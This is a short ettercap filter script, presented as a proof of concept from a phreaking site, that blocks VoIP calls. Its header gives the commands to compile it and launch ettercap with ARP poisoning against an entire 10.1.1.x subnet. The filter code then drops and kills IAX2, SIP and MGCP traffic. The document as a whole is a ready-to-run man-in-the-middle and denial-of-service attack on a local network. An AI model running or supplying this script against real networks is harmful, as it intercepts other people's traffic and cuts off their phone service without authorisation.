# blockvoip.filter
# Proof of concept VoIP blocking filter
# By natas
# http://www.oldskoolphreak.com
# Usage Instructions:
# Run "etterfilter blockvoip.filter.txt -o blockvoip.ef"
# Then "ettercap -T -q -F blockvoip.ef -M ARP /10.1.1.1-254/ //"

if (ip.proto == UDP && udp.src == 4569) {
    msg("Killed Attempted IAX2 Connection.\n");
    drop();
    kill();
}

if (ip.proto == UDP && udp.src == 5060) {
    msg("Killed Attempted SIP Connection.\n");
    drop();
    kill();
}

if (ip.proto == UDP && udp.src == 2427) {
    msg("Killed Attempted MGCP Connection.\n");
    drop();
    kill();
}

if (ip.proto == UDP && udp.src == 2727) {
    msg("Killed Attempted MGCP Call Agent Connection.\n");
    drop();
    kill();
}